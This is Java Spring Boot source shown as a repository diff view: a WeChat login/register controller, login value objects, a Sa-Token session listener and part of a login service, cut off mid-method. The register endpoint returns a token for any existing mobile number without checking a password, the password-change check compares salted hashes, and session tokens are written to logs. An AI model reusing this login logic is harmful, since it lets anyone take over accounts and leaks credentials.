import org.springframework.web.bind.annotation.*;
import java.util.Date;
/**
* @author Maosw
*/
@Validated
@RequiredArgsConstructor
@RestController
@RequestMapping("/api/user/login")
@Tag(name = "登录接口")
public class LoginController {
private final ITzUserService tzUserService;
private final TokenStore tokenStore;
@PostMapping("/getUserPhoneNumber")
@Operation(summary = "微信接口获取手机号码" , description = "微信接口获取手机号码")
@Parameter(name = "code", description = "code", required = true)
public ServerResponseEntity<JSONObject> getUserPhoneNumber(@RequestParam(value = "code") String code) {
// String phone = WxXcxUtils.getUserPhoneNumber(code);
return ServerResponseEntity.success(WxXcxUtils.getUserPhoneNumber(code));
}
@PostMapping("/register")
@Operation(summary = "注册登录" , description = "用户绑定手机号注册登录")
public ServerResponseEntity<TokenInfoVO> register(@Valid @RequestBody UserRegisterParam userRegisterParam) {
if (StrUtil.isBlank(userRegisterParam.getNickName())) {
userRegisterParam.setNickName(userRegisterParam.getUserName());
}
TzUser tzUser = tzUserService.getOne(new LambdaQueryWrapper<TzUser>().eq(TzUser::getUserMobile, userRegisterParam.getMobile()));
if (ObjectUtil.isNotEmpty(tzUser)) {
//登录
UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO();
userInfoInTokenBO.setUserId(tzUser.getUserId());
userInfoInTokenBO.setSysType(0);
userInfoInTokenBO.setEnabled(true);
return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO));
}else {
//注册并登录
Date now = new Date();
TzUser user = new TzUser();
user.setModifyTime(now);
user.setUserRegtime(now);
user.setStatus(1);
user.setUserMobile(userRegisterParam.getMobile());
user.setNickName(userRegisterParam.getNickName());
user.setUserMail(userRegisterParam.getUserMail());
user.setPic(userRegisterParam.getImg());
user.setLoginPassword(BCrypt.hashpw(userRegisterParam.getPassWord()));
user.setOpenId(userRegisterParam.getOpenId());
tzUserService.save(user);
// 2. 登录
UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO();
userInfoInTokenBO.setUserId(user.getUserId());
userInfoInTokenBO.setSysType(0);
userInfoInTokenBO.setEnabled(true);
return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO));
}
}
@PutMapping("/updatePwd")
@Operation(summary = "修改密码" , description = "修改密码")
public ServerResponseEntity<Boolean> updatePwd(@Valid @RequestBody UserRegisterParam userPwdUpdateParam) {
Long userId = SecurityUtils.getUser().getUserId();
TzUserVo user = tzUserService.queryById(userId);
if (user == null) {
// 无法获取用户信息
throw new ServiceException("无法获取用户信息");
}
if (StrUtil.isBlank(userPwdUpdateParam.getPassWord())) {
// 新密码不能为空
throw new ServiceException("新密码不能为空");
}
String password = BCrypt.hashpw(userPwdUpdateParam.getPassWord());
if (StrUtil.equals(password, user.getLoginPassword())) {
// 新密码不能与原密码相同
throw new ServiceException("新密码不能与原密码相同");
}
user.setModifyTime(new Date());
user.setLoginPassword(password);
TzUser tzUser = MapstructUtils.convert(user, TzUser.class);
return ServerResponseEntity.success(tzUserService.updateById(tzUser));
}
/**
* 获取登录用户信息
*/
@GetMapping("/info")
@Operation(summary = "获取登录用户信息" , description = "获取登录用户信息")
public ServerResponseEntity<TzUserVo> info() {
Long userId = SecurityUtils.getUser().getUserId();
TzUserVo user = tzUserService.queryById(userId);
return ServerResponseEntity.success(user);
}
}

View File

@@ -1,25 +1,25 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import lombok.Data; import lombok.Data;
/** /**
* 验证码信息 * 验证码信息
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
public class CaptchaVo { public class CaptchaVo {
/** /**
* 是否开启验证码 * 是否开启验证码
*/ */
private Boolean captchaEnabled = true; private Boolean captchaEnabled = true;
private String uuid; private String uuid;
/** /**
* 验证码图片 * 验证码图片
*/ */
private String img; private String img;
} }

View File

@@ -1,25 +1,25 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import lombok.Data; import lombok.Data;
import java.util.List; import java.util.List;
/** /**
* 登录租户对象 * 登录租户对象
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
public class LoginTenantVo { public class LoginTenantVo {
/** /**
* 租户开关 * 租户开关
*/ */
private Boolean tenantEnabled; private Boolean tenantEnabled;
/** /**
* 租户对象列表 * 租户对象列表
*/ */
private List<TenantListVo> voList; private List<TenantListVo> voList;
} }

View File

@@ -1,54 +1,54 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Data; import lombok.Data;
/** /**
* 登录验证信息 * 登录验证信息
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
public class LoginVo { public class LoginVo {
/** /**
* 授权令牌 * 授权令牌
*/ */
@JsonProperty("access_token") @JsonProperty("access_token")
private String accessToken; private String accessToken;
/** /**
* 刷新令牌 * 刷新令牌
*/ */
@JsonProperty("refresh_token") @JsonProperty("refresh_token")
private String refreshToken; private String refreshToken;
/** /**
* 授权令牌 access_token 的有效期 * 授权令牌 access_token 的有效期
*/ */
@JsonProperty("expire_in") @JsonProperty("expire_in")
private Long expireIn; private Long expireIn;
/** /**
* 刷新令牌 refresh_token 的有效期 * 刷新令牌 refresh_token 的有效期
*/ */
@JsonProperty("refresh_expire_in") @JsonProperty("refresh_expire_in")
private Long refreshExpireIn; private Long refreshExpireIn;
/** /**
* 应用id * 应用id
*/ */
@JsonProperty("client_id") @JsonProperty("client_id")
private String clientId; private String clientId;
/** /**
* 令牌权限 * 令牌权限
*/ */
private String scope; private String scope;
/** /**
* 用户 openid * 用户 openid
*/ */
private String openid; private String openid;
} }

View File

@@ -1,31 +1,31 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import io.github.linpeilie.annotations.AutoMapper; import io.github.linpeilie.annotations.AutoMapper;
import lombok.Data; import lombok.Data;
import org.dromara.system.domain.vo.SysTenantVo; import org.dromara.system.domain.vo.SysTenantVo;
/** /**
* 租户列表 * 租户列表
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@AutoMapper(target = SysTenantVo.class) @AutoMapper(target = SysTenantVo.class)
public class TenantListVo { public class TenantListVo {
/** /**
* 租户编号 * 租户编号
*/ */
private String tenantId; private String tenantId;
/** /**
* 企业名称 * 企业名称
*/ */
private String companyName; private String companyName;
/** /**
* 域名 * 域名
*/ */
private String domain; private String domain;
} }

View File

@@ -1,165 +1,165 @@
package org.dromara.web.listener; package org.dromara.web.listener;
import cn.dev33.satoken.config.SaTokenConfig; import cn.dev33.satoken.config.SaTokenConfig;
import cn.dev33.satoken.listener.SaTokenListener; import cn.dev33.satoken.listener.SaTokenListener;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.convert.Convert; import cn.hutool.core.convert.Convert;
import cn.hutool.http.useragent.UserAgent; import cn.hutool.http.useragent.UserAgent;
import cn.hutool.http.useragent.UserAgentUtil; import cn.hutool.http.useragent.UserAgentUtil;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.CacheConstants; import org.dromara.common.core.constant.CacheConstants;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.domain.dto.UserOnlineDTO; import org.dromara.common.core.domain.dto.UserOnlineDTO;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.ServletUtils; import org.dromara.common.core.utils.ServletUtils;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.common.core.utils.ip.AddressUtils; import org.dromara.common.core.utils.ip.AddressUtils;
import org.dromara.common.log.event.LogininforEvent; import org.dromara.common.log.event.LogininforEvent;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
import java.time.Duration; import java.time.Duration;
/** /**
* 用户行为 侦听器的实现 * 用户行为 侦听器的实现
* *
* @author Lion Li * @author Lion Li
*/ */
@RequiredArgsConstructor @RequiredArgsConstructor
@Component @Component
@Slf4j @Slf4j
public class UserActionListener implements SaTokenListener { public class UserActionListener implements SaTokenListener {
private final SaTokenConfig tokenConfig; private final SaTokenConfig tokenConfig;
private final SysLoginService loginService; private final SysLoginService loginService;
/** /**
* 每次登录时触发 * 每次登录时触发
*/ */
@Override @Override
public void doLogin(String loginType, Object loginId, String tokenValue, SaLoginModel loginModel) { public void doLogin(String loginType, Object loginId, String tokenValue, SaLoginModel loginModel) {
UserAgent userAgent = UserAgentUtil.parse(ServletUtils.getRequest().getHeader("User-Agent")); UserAgent userAgent = UserAgentUtil.parse(ServletUtils.getRequest().getHeader("User-Agent"));
String ip = ServletUtils.getClientIP(); String ip = ServletUtils.getClientIP();
UserOnlineDTO dto = new UserOnlineDTO(); UserOnlineDTO dto = new UserOnlineDTO();
dto.setIpaddr(ip); dto.setIpaddr(ip);
dto.setLoginLocation(AddressUtils.getRealAddressByIP(ip)); dto.setLoginLocation(AddressUtils.getRealAddressByIP(ip));
dto.setBrowser(userAgent.getBrowser().getName()); dto.setBrowser(userAgent.getBrowser().getName());
dto.setOs(userAgent.getOs().getName()); dto.setOs(userAgent.getOs().getName());
dto.setLoginTime(System.currentTimeMillis()); dto.setLoginTime(System.currentTimeMillis());
dto.setTokenId(tokenValue); dto.setTokenId(tokenValue);
String username = (String) loginModel.getExtra(LoginHelper.USER_NAME_KEY); String username = (String) loginModel.getExtra(LoginHelper.USER_NAME_KEY);
String tenantId = (String) loginModel.getExtra(LoginHelper.TENANT_KEY); String tenantId = (String) loginModel.getExtra(LoginHelper.TENANT_KEY);
dto.setUserName(username); dto.setUserName(username);
dto.setClientKey((String) loginModel.getExtra(LoginHelper.CLIENT_KEY)); dto.setClientKey((String) loginModel.getExtra(LoginHelper.CLIENT_KEY));
dto.setDeviceType(loginModel.getDevice()); dto.setDeviceType(loginModel.getDevice());
dto.setDeptName((String) loginModel.getExtra(LoginHelper.DEPT_NAME_KEY)); dto.setDeptName((String) loginModel.getExtra(LoginHelper.DEPT_NAME_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
if(tokenConfig.getTimeout() == -1) { if(tokenConfig.getTimeout() == -1) {
RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto); RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto);
} else { } else {
RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto, Duration.ofSeconds(tokenConfig.getTimeout())); RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto, Duration.ofSeconds(tokenConfig.getTimeout()));
} }
}); });
// 记录登录日志 // 记录登录日志
LogininforEvent logininforEvent = new LogininforEvent(); LogininforEvent logininforEvent = new LogininforEvent();
logininforEvent.setTenantId(tenantId); logininforEvent.setTenantId(tenantId);
logininforEvent.setUsername(username); logininforEvent.setUsername(username);
logininforEvent.setStatus(Constants.LOGIN_SUCCESS); logininforEvent.setStatus(Constants.LOGIN_SUCCESS);
logininforEvent.setMessage(MessageUtils.message("user.login.success")); logininforEvent.setMessage(MessageUtils.message("user.login.success"));
logininforEvent.setRequest(ServletUtils.getRequest()); logininforEvent.setRequest(ServletUtils.getRequest());
SpringUtils.context().publishEvent(logininforEvent); SpringUtils.context().publishEvent(logininforEvent);
// 更新登录信息 // 更新登录信息
loginService.recordLoginInfo((Long) loginModel.getExtra(LoginHelper.USER_KEY), ip); loginService.recordLoginInfo((Long) loginModel.getExtra(LoginHelper.USER_KEY), ip);
log.info("user doLogin, userId:{}, token:{}", loginId, tokenValue); log.info("user doLogin, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次注销时触发 * 每次注销时触发
*/ */
@Override @Override
public void doLogout(String loginType, Object loginId, String tokenValue) { public void doLogout(String loginType, Object loginId, String tokenValue) {
String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue);
}); });
log.info("user doLogout, userId:{}, token:{}", loginId, tokenValue); log.info("user doLogout, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次被踢下线时触发 * 每次被踢下线时触发
*/ */
@Override @Override
public void doKickout(String loginType, Object loginId, String tokenValue) { public void doKickout(String loginType, Object loginId, String tokenValue) {
String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue);
}); });
log.info("user doKickout, userId:{}, token:{}", loginId, tokenValue); log.info("user doKickout, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次被顶下线时触发 * 每次被顶下线时触发
*/ */
@Override @Override
public void doReplaced(String loginType, Object loginId, String tokenValue) { public void doReplaced(String loginType, Object loginId, String tokenValue) {
String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY));
TenantHelper.dynamic(tenantId, () -> { TenantHelper.dynamic(tenantId, () -> {
RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue);
}); });
log.info("user doReplaced, userId:{}, token:{}", loginId, tokenValue); log.info("user doReplaced, userId:{}, token:{}", loginId, tokenValue);
} }
/** /**
* 每次被封禁时触发 * 每次被封禁时触发
*/ */
@Override @Override
public void doDisable(String loginType, Object loginId, String service, int level, long disableTime) { public void doDisable(String loginType, Object loginId, String service, int level, long disableTime) {
} }
/** /**
* 每次被解封时触发 * 每次被解封时触发
*/ */
@Override @Override
public void doUntieDisable(String loginType, Object loginId, String service) { public void doUntieDisable(String loginType, Object loginId, String service) {
} }
/** /**
* 每次打开二级认证时触发 * 每次打开二级认证时触发
*/ */
@Override @Override
public void doOpenSafe(String loginType, String tokenValue, String service, long safeTime) { public void doOpenSafe(String loginType, String tokenValue, String service, long safeTime) {
} }
/** /**
* 每次创建Session时触发 * 每次创建Session时触发
*/ */
@Override @Override
public void doCloseSafe(String loginType, String tokenValue, String service) { public void doCloseSafe(String loginType, String tokenValue, String service) {
} }
/** /**
* 每次创建Session时触发 * 每次创建Session时触发
*/ */
@Override @Override
public void doCreateSession(String id) { public void doCreateSession(String id) {
} }
/** /**
* 每次注销Session时触发 * 每次注销Session时触发
*/ */
@Override @Override
public void doLogoutSession(String id) { public void doLogoutSession(String id) {
} }
/** /**
* 每次Token续期时触发 * 每次Token续期时触发
*/ */
@Override @Override
public void doRenewTimeout(String tokenValue, Object loginId, long timeout) { public void doRenewTimeout(String tokenValue, Object loginId, long timeout) {
} }
} }

View File

@@ -1,45 +1,45 @@
package org.dromara.web.service; package org.dromara.web.service;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
/** /**
* 授权策略 * 授权策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
public interface IAuthStrategy { public interface IAuthStrategy {
String BASE_NAME = "AuthStrategy"; String BASE_NAME = "AuthStrategy";
/** /**
* 登录 * 登录
* *
* @param body 登录对象 * @param body 登录对象
* @param client 授权管理视图对象 * @param client 授权管理视图对象
* @param grantType 授权类型 * @param grantType 授权类型
* @return 登录验证信息 * @return 登录验证信息
*/ */
static LoginVo login(String body, SysClientVo client, String grantType) { static LoginVo login(String body, SysClientVo client, String grantType) {
// 授权类型和客户端id // 授权类型和客户端id
String beanName = grantType + BASE_NAME; String beanName = grantType + BASE_NAME;
if (!SpringUtils.containsBean(beanName)) { if (!SpringUtils.containsBean(beanName)) {
throw new ServiceException("授权类型不正确!"); throw new ServiceException("授权类型不正确!");
} }
IAuthStrategy instance = SpringUtils.getBean(beanName); IAuthStrategy instance = SpringUtils.getBean(beanName);
return instance.login(body, client); return instance.login(body, client);
} }
/** /**
* 登录 * 登录
* *
* @param body 登录对象 * @param body 登录对象
* @param client 授权管理视图对象 * @param client 授权管理视图对象
* @return 登录验证信息 * @return 登录验证信息
*/ */
LoginVo login(String body, SysClientVo client); LoginVo login(String body, SysClientVo client);
} }

View File

@@ -1,259 +1,259 @@
package org.dromara.web.service; package org.dromara.web.service;
import cn.dev33.satoken.exception.NotLoginException; import cn.dev33.satoken.exception.NotLoginException;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.bean.BeanUtil; import cn.hutool.core.bean.BeanUtil;
import cn.hutool.core.collection.CollUtil; import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.lang.Opt; import cn.hutool.core.lang.Opt;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.lock.annotation.Lock4j; import com.baomidou.lock.annotation.Lock4j;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import me.zhyd.oauth.model.AuthUser; import me.zhyd.oauth.model.AuthUser;
import org.dromara.common.core.constant.CacheConstants; import org.dromara.common.core.constant.CacheConstants;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.constant.TenantConstants; import org.dromara.common.core.constant.TenantConstants;
import org.dromara.common.core.domain.dto.RoleDTO; import org.dromara.common.core.domain.dto.RoleDTO;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.*; import org.dromara.common.core.utils.*;
import org.dromara.common.log.event.LogininforEvent; import org.dromara.common.log.event.LogininforEvent;
import org.dromara.common.mybatis.helper.DataPermissionHelper; import org.dromara.common.mybatis.helper.DataPermissionHelper;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.exception.TenantException; import org.dromara.common.tenant.exception.TenantException;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.bo.SysSocialBo; import org.dromara.system.domain.bo.SysSocialBo;
import org.dromara.system.domain.vo.*; import org.dromara.system.domain.vo.*;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.system.service.*; import org.dromara.system.service.*;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
import java.time.Duration; import java.time.Duration;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.util.function.Supplier; import java.util.function.Supplier;
/** /**
* 登录校验方法 * 登录校验方法
* *
* @author Lion Li * @author Lion Li
*/ */
@RequiredArgsConstructor @RequiredArgsConstructor
@Slf4j @Slf4j
@Service @Service
public class SysLoginService { public class SysLoginService {
@Value("${user.password.maxRetryCount}") @Value("${user.password.maxRetryCount}")
private Integer maxRetryCount; private Integer maxRetryCount;
@Value("${user.password.lockTime}") @Value("${user.password.lockTime}")
private Integer lockTime; private Integer lockTime;
private final ISysTenantService tenantService; private final ISysTenantService tenantService;
private final ISysPermissionService permissionService; private final ISysPermissionService permissionService;
private final ISysSocialService sysSocialService; private final ISysSocialService sysSocialService;
private final ISysRoleService roleService; private final ISysRoleService roleService;
private final ISysDeptService deptService; private final ISysDeptService deptService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
/** /**
* 绑定第三方用户 * 绑定第三方用户
* *
* @param authUserData 授权响应实体 * @param authUserData 授权响应实体
*/ */
@Lock4j @Lock4j
public void socialRegister(AuthUser authUserData) { public void socialRegister(AuthUser authUserData) {
String authId = authUserData.getSource() + authUserData.getUuid(); String authId = authUserData.getSource() + authUserData.getUuid();
// 第三方用户信息 // 第三方用户信息
SysSocialBo bo = BeanUtil.toBean(authUserData, SysSocialBo.class); SysSocialBo bo = BeanUtil.toBean(authUserData, SysSocialBo.class);
BeanUtil.copyProperties(authUserData.getToken(), bo); BeanUtil.copyProperties(authUserData.getToken(), bo);
Long userId = LoginHelper.getUserId(); Long userId = LoginHelper.getUserId();
bo.setUserId(userId); bo.setUserId(userId);
bo.setAuthId(authId); bo.setAuthId(authId);
bo.setOpenId(authUserData.getUuid()); bo.setOpenId(authUserData.getUuid());
bo.setUserName(authUserData.getUsername()); bo.setUserName(authUserData.getUsername());
bo.setNickName(authUserData.getNickname()); bo.setNickName(authUserData.getNickname());
List<SysSocialVo> checkList = sysSocialService.selectByAuthId(authId); List<SysSocialVo> checkList = sysSocialService.selectByAuthId(authId);
if (CollUtil.isNotEmpty(checkList)) { if (CollUtil.isNotEmpty(checkList)) {
throw new ServiceException("此三方账号已经被绑定!"); throw new ServiceException("此三方账号已经被绑定!");
} }
// 查询是否已经绑定用户 // 查询是否已经绑定用户
SysSocialBo params = new SysSocialBo(); SysSocialBo params = new SysSocialBo();
params.setUserId(userId); params.setUserId(userId);
params.setSource(bo.getSource()); params.setSource(bo.getSource());
List<SysSocialVo> list = sysSocialService.queryList(params); List<SysSocialVo> list = sysSocialService.queryList(params);
if (CollUtil.isEmpty(list)) { if (CollUtil.isEmpty(list)) {
// 没有绑定用户, 新增用户信息 // 没有绑定用户, 新增用户信息
sysSocialService.insertByBo(bo); sysSocialService.insertByBo(bo);
} else { } else {
// 更新用户信息 // 更新用户信息
bo.setId(list.get(0).getId()); bo.setId(list.get(0).getId());
sysSocialService.updateByBo(bo); sysSocialService.updateByBo(bo);
// 如果要绑定的平台账号已经被绑定过了 是否抛异常自行决断 // 如果要绑定的平台账号已经被绑定过了 是否抛异常自行决断
// throw new ServiceException("此平台账号已经被绑定!"); // throw new ServiceException("此平台账号已经被绑定!");
} }
} }
/** /**
* 退出登录 * 退出登录
*/ */
public void logout() { public void logout() {
try { try {
LoginUser loginUser = LoginHelper.getLoginUser(); LoginUser loginUser = LoginHelper.getLoginUser();
if (ObjectUtil.isNull(loginUser)) { if (ObjectUtil.isNull(loginUser)) {
return; return;
} }
if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) { if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) {
// 超级管理员 登出清除动态租户 // 超级管理员 登出清除动态租户
TenantHelper.clearDynamic(); TenantHelper.clearDynamic();
} }
recordLogininfor(loginUser.getTenantId(), loginUser.getUsername(), Constants.LOGOUT, MessageUtils.message("user.logout.success")); recordLogininfor(loginUser.getTenantId(), loginUser.getUsername(), Constants.LOGOUT, MessageUtils.message("user.logout.success"));
} catch (NotLoginException ignored) { } catch (NotLoginException ignored) {
} finally { } finally {
try { try {
StpUtil.logout(); StpUtil.logout();
} catch (NotLoginException ignored) { } catch (NotLoginException ignored) {
} }
} }
} }
/** /**
* 记录登录信息 * 记录登录信息
* *
* @param tenantId 租户ID * @param tenantId 租户ID
* @param username 用户名 * @param username 用户名
* @param status 状态 * @param status 状态
* @param message 消息内容 * @param message 消息内容
*/ */
public void recordLogininfor(String tenantId, String username, String status, String message) { public void recordLogininfor(String tenantId, String username, String status, String message) {
LogininforEvent logininforEvent = new LogininforEvent(); LogininforEvent logininforEvent = new LogininforEvent();
logininforEvent.setTenantId(tenantId); logininforEvent.setTenantId(tenantId);
logininforEvent.setUsername(username); logininforEvent.setUsername(username);
logininforEvent.setStatus(status); logininforEvent.setStatus(status);
logininforEvent.setMessage(message); logininforEvent.setMessage(message);
logininforEvent.setRequest(ServletUtils.getRequest()); logininforEvent.setRequest(ServletUtils.getRequest());
SpringUtils.context().publishEvent(logininforEvent); SpringUtils.context().publishEvent(logininforEvent);
} }
/** /**
* 构建登录用户 * 构建登录用户
*/ */
public LoginUser buildLoginUser(SysUserVo user) { public LoginUser buildLoginUser(SysUserVo user) {
LoginUser loginUser = new LoginUser(); LoginUser loginUser = new LoginUser();
loginUser.setTenantId(user.getTenantId()); loginUser.setTenantId(user.getTenantId());
loginUser.setUserId(user.getUserId()); loginUser.setUserId(user.getUserId());
loginUser.setDeptId(user.getDeptId()); loginUser.setDeptId(user.getDeptId());
loginUser.setUsername(user.getUserName()); loginUser.setUsername(user.getUserName());
loginUser.setNickname(user.getNickName()); loginUser.setNickname(user.getNickName());
loginUser.setUserType(user.getUserType()); loginUser.setUserType(user.getUserType());
loginUser.setIdentity(user.getIdentity()); loginUser.setIdentity(user.getIdentity());
loginUser.setRealName(user.getRealName()); loginUser.setRealName(user.getRealName());
loginUser.setMenuPermission(permissionService.getMenuPermission(user.getUserId())); loginUser.setMenuPermission(permissionService.getMenuPermission(user.getUserId()));
loginUser.setRolePermission(permissionService.getRolePermission(user.getUserId())); loginUser.setRolePermission(permissionService.getRolePermission(user.getUserId()));
if (ObjectUtil.isNotNull(user.getDeptId())) { if (ObjectUtil.isNotNull(user.getDeptId())) {
Opt<SysDeptVo> deptOpt = Opt.of(user.getDeptId()).map(deptService::selectDeptById); Opt<SysDeptVo> deptOpt = Opt.of(user.getDeptId()).map(deptService::selectDeptById);
loginUser.setDeptName(deptOpt.map(SysDeptVo::getDeptName).orElse(StringUtils.EMPTY)); loginUser.setDeptName(deptOpt.map(SysDeptVo::getDeptName).orElse(StringUtils.EMPTY));
loginUser.setDeptCategory(deptOpt.map(SysDeptVo::getDeptCategory).orElse(StringUtils.EMPTY)); loginUser.setDeptCategory(deptOpt.map(SysDeptVo::getDeptCategory).orElse(StringUtils.EMPTY));
} }
List<SysRoleVo> roles = roleService.selectRolesByUserId(user.getUserId()); List<SysRoleVo> roles = roleService.selectRolesByUserId(user.getUserId());
loginUser.setRoles(BeanUtil.copyToList(roles, RoleDTO.class)); loginUser.setRoles(BeanUtil.copyToList(roles, RoleDTO.class));
return loginUser; return loginUser;
} }
/** /**
* 记录登录信息 * 记录登录信息
* *
* @param userId 用户ID * @param userId 用户ID
*/ */
public void recordLoginInfo(Long userId, String ip) { public void recordLoginInfo(Long userId, String ip) {
SysUser sysUser = new SysUser(); SysUser sysUser = new SysUser();
sysUser.setUserId(userId); sysUser.setUserId(userId);
sysUser.setLoginIp(ip); sysUser.setLoginIp(ip);
sysUser.setLoginDate(DateUtils.getNowDate()); sysUser.setLoginDate(DateUtils.getNowDate());
sysUser.setUpdateBy(userId); sysUser.setUpdateBy(userId);
DataPermissionHelper.ignore(() -> userMapper.updateById(sysUser)); DataPermissionHelper.ignore(() -> userMapper.updateById(sysUser));
} }
/** /**
* 登录校验 * 登录校验
*/ */
public void checkLogin(LoginType loginType, String tenantId, String username, Supplier<Boolean> supplier) { public void checkLogin(LoginType loginType, String tenantId, String username, Supplier<Boolean> supplier) {
String errorKey = CacheConstants.PWD_ERR_CNT_KEY + username; String errorKey = CacheConstants.PWD_ERR_CNT_KEY + username;
String loginFail = Constants.LOGIN_FAIL; String loginFail = Constants.LOGIN_FAIL;
// 获取用户登录错误次数默认为0 (可自定义限制策略 例如: key + username + ip) // 获取用户登录错误次数默认为0 (可自定义限制策略 例如: key + username + ip)
int errorNumber = ObjectUtil.defaultIfNull(RedisUtils.getCacheObject(errorKey), 0); int errorNumber = ObjectUtil.defaultIfNull(RedisUtils.getCacheObject(errorKey), 0);
// 锁定时间内登录 则踢出 // 锁定时间内登录 则踢出
if (errorNumber >= maxRetryCount) { if (errorNumber >= maxRetryCount) {
recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime));
throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime);
} }
if (supplier.get()) { if (supplier.get()) {
// 错误次数递增 // 错误次数递增
